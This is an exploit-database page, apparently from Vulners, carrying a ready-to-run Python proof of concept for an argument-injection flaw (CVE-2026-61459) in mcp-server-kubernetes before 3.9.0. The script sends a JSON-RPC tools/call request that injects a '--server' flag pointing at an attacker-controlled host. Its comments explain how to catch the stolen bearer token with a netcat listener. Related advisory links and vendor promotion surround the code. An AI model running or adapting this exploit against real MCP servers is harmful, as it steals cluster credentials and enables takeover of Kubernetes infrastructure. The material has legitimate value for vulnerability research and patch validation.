Lucene search
+L

πŸ“„ mcp-server-kubernetes 3.8.x Argument Injection

πŸ—“οΈΒ 11 Aug 2026Β 00:00:00Reported byΒ Mohammed Idrees BanyamerTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 10Β Views

mcp-server-kubernetes < 3.9.0 allows argument injection in kubectl tools for bearer token exfiltration.

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-61459
10 Jul 202618:34
–attackerkb
circl
Circl
CVE-2026-61459
10 Jul 202620:00
–circl
cve
CVE
CVE-2026-61459
10 Jul 202618:34
–cve
cvelist
Cvelist
CVE-2026-61459 MCP Server Kubernetes < 3.9.0 Argument Injection via kubectl Structured Tools
10 Jul 202618:34
–cvelist
exploitdb
Exploit DB
mcp-server-kubernetes 3.8.x - Argument Injection
11 Aug 202600:00
–exploitdb
euvd
EUVD
EUVD-2026-42987
10 Jul 202618:34
–euvd
github
Github Security Blog
mcp-server-kubernetes argument injection can expose Kubernetes cluster credentials
10 Jul 202621:32
–github
nvd
NVD
CVE-2026-61459
10 Jul 202619:17
–nvd
osv
OSV
GHSA-WMG3-H8MF-WGVR mcp-server-kubernetes argument injection can expose Kubernetes cluster credentials
10 Jul 202621:32
–osv
ptsecurity
Positive Technologies
PT-2026-57272
10 Jul 202600:00
–ptsecurity
Rows per page
#!/usr/bin/env python3
    # Exploit Title:        mcp-server-kubernetes 3.8.x - Argument Injection
    # CVE:                  CVE-2026-61459
    # Date:                 2026-07-13
    # Exploit Author:       Mohammed Idrees Banyamer
    # Author Country:       Jordan
    # Instagram:            @banyamer_security
    # Author GitHub:        https://github.com/mbanyamer
    # Author Blog  :        https://banyamersecurity.com/blog/
    # Vendor Homepage:      https://github.com/Flux159/mcp-server-kubernetes
    # Software Link:        https://github.com/Flux159/mcp-server-kubernetes
    # Affected:             mcp-server-kubernetes < 3.9.0
    # Tested on:            mcp-server-kubernetes <= 3.8.x
    # Category:             Remote
    # Platform:             Linux
    # Exploit Type:         Argument Injection
    # CVSS:                 9.3
    # Description:          Argument injection via resourceType/name parameters in kubectl_get, kubectl_describe, and kubectl_delete tools allowing --server flag injection and bearer token exfiltration.
    # Fixed in:             3.9.0
    # Usage:
    #   python3 exploit.py
    #
    # Examples:
    #   python3 exploit.py --target http://localhost:8080 --attacker http://attacker:6443
    #
    # Options:
    #   --target     MCP Server URL (JSON-RPC endpoint)
    #   --attacker   Attacker-controlled Kubernetes API server URL
    #
    # Notes:
    #   β€’ Requires access to call MCP tools (e.g. via Claude Desktop / Cursor / custom client)
    #   β€’ Listener on attacker server (nc -lvnp 6443) will capture Authorization header with bearer token
    #
    # How to Use
    #
    # Step 1:
    #   Start listener: nc -lvnp 6443
    #
    # Step 2:
    #   Run exploit with attacker URL
    
    def banner():
        print(r"""
    β•”β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•—
    β•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘
    β•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•
    β•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β•šβ–ˆβ–ˆβ•”β•  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—
    β•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘
    β•šβ•β•β•β•β•β• β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•β•β•   β•šβ•β•   β•šβ•β•  β•šβ•β•β•šβ•β•     β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β•  β•šβ•β•
            ╔═╗ Banyamer Security ╔═╗
    """)
    
    import requests
    import json
    import argparse
    import sys
    
    def main():
        banner()
        
        parser = argparse.ArgumentParser(description="CVE-2026-61459 PoC - MCP Server Kubernetes Argument Injection")
        parser.add_argument("--target", required=True, help="MCP Server JSON-RPC endpoint URL (e.g. http://localhost:8080/mcp)")
        parser.add_argument("--attacker", required=True, help="Attacker Kubernetes API server URL (e.g. http://attacker.example.com:6443)")
        parser.add_argument("--tool", default="kubectl_get", choices=["kubectl_get", "kubectl_describe", "kubectl_delete"], help="Tool to exploit")
        parser.add_argument("--namespace", default="default", help="Kubernetes namespace")
        args = parser.parse_args()
    
        # Malicious payload - inject --server via resourceType
        payload = {
            "jsonrpc": "2.0",
            "method": "tools/call",
            "params": {
                "name": args.tool,
                "arguments": {
                    "resourceType": f"--server={args.attacker}",
                    "name": "dummy-pod",
                    "namespace": args.namespace,
                    "output": "json"
                }
            },
            "id": 1
        }
    
        print(f"[+] Sending exploit to {args.target} using {args.tool}")
        print(f"[+] Attacker server: {args.attacker}")
        print("[+] Waiting for token exfiltration...")
    
        try:
            response = requests.post(
                args.target,
                json=payload,
                headers={"Content-Type": "application/json"},
                timeout=10
            )
            
            print(f"[+] Response status: {response.status_code}")
            if response.status_code == 200:
                print("[+] Exploit sent successfully. Check your listener for the bearer token!")
            else:
                print(f"[-] Unexpected response: {response.text[:500]}")
                
        except Exception as e:
            print(f"[-] Error: {e}")
    
    if __name__ == "__main__":
        if len(sys.argv) < 2:
            print("Usage: python3 exploit.py --target <MCP_URL> --attacker <ATTACKER_URL>")
            sys.exit(1)
        main()

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 49.3
CVSS 3.19.8
EPSS0.01516
SSVC
10